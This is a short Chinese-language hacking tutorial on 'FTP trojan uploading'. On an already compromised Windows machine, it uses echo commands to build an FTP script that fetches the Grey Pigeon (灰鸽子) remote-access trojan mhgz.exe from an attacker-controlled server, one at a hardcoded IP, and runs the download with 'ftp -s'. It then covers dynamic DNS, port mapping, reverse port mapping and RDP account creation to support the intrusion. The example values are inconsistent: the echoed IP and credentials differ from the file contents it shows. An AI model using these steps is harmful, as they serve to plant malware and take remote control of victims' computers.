什么是FTP传马

是一种ftp传马命令。

在远程计算机的C***环境下，如果不能通过IPC$渠道传送文件，那就只有通过FTP下载文件了。

假设我们已经有一个FTP服务器，上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道FTP服务器的三个参数：

1、FTP服务器的IP地址：如1.1.1.1

2、FTP服务器的用户名：如test

3、FTP服务器的密 码：如test123

在远程计算机的C***下依次输入下面的命令：

1、echo open 221.202.50.125>>test.txt 登陆FTP服务器

2、echo 123>>test.txt 用户名

3、echo 123>>test.txt 密码

4、echo bin>>test.txt 开始

5、echo get mhgz.exe>>test.txt 下载灰鸽子木马

6、echo bye>>test.txt 关闭FTP服务器

输入上面命令后，在远程计算机上就会生成一个test.txt文件，内容为：

open 1.1.1.1

test

test123

bin

get mhgz.exe

bye

现在我们在远程计算机上执行下面的命令：

ftp -s:test.txt 意思是，读取test.txt里的参数，执行ftp命令，命令执行完后，灰鸽子木马文件mhgz.exe就下载到对方计算机里了。

ip是你自己的，你线路的ip，是网络运营商（电信，网通，铁通，有线通，教育网...）给你的，

花生壳只是一个动态ip解析的域名而已，它是用它的域名来不停的跟踪绑定你当前线路的公网ip，因为域名不变，所以可以用域名来访问服务器，而无需理会动态ip了。

当然，如果你是固定ip，就根本无需再用到花生壳了。

CMD的话就只能提供FTP的方式传马了。如果没映射的话那你就映射下啊，如果没有路由权限那就做个反端口映射就可以了，（这个比较麻烦）最简单的还是从路由映射，本地搭建FTP，或者借DSL的QQ好友电脑用用。反正除了本地搭建FTP就是外网FTP了。别的方法对CMD来说可能有点儿难，也可以创建帐户用3389 但前提是XP不能多开。还有要多开也需要工具（又要用FTP）！！！所以……………………

---